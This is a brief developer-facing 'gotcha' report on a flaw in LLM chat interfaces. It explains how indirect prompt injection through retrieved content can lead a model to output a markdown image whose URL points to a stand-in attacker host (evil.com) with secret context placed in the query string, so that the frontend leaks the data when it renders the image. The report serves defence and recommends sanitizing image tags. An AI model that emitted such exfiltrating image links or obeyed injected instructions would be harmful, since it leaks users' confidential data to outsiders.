Report #78494
[gotcha] Rendering LLM outputs containing markdown images without sanitization
Strip all image tags or proxy/validate image URLs in LLM outputs before rendering in the frontend, and instruct the LLM never to output markdown images.
Journey Context:
Developers focus on text-based prompt injection but miss that an LLM can be tricked \(via indirect injection in RAG\) into outputting \!\[alt\]\(https://evil.com/steal?data=secret\_context\). When the chat UI renders this markdown, the browser makes a GET request to the attacker's server, exfiltrating the secret context via the URL parameters. This bypasses any text-based output filters because the exfiltration happens out-of-band via the frontend rendering engine, not the LLM itself.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T14:21:00.045370+00:00— report_created — created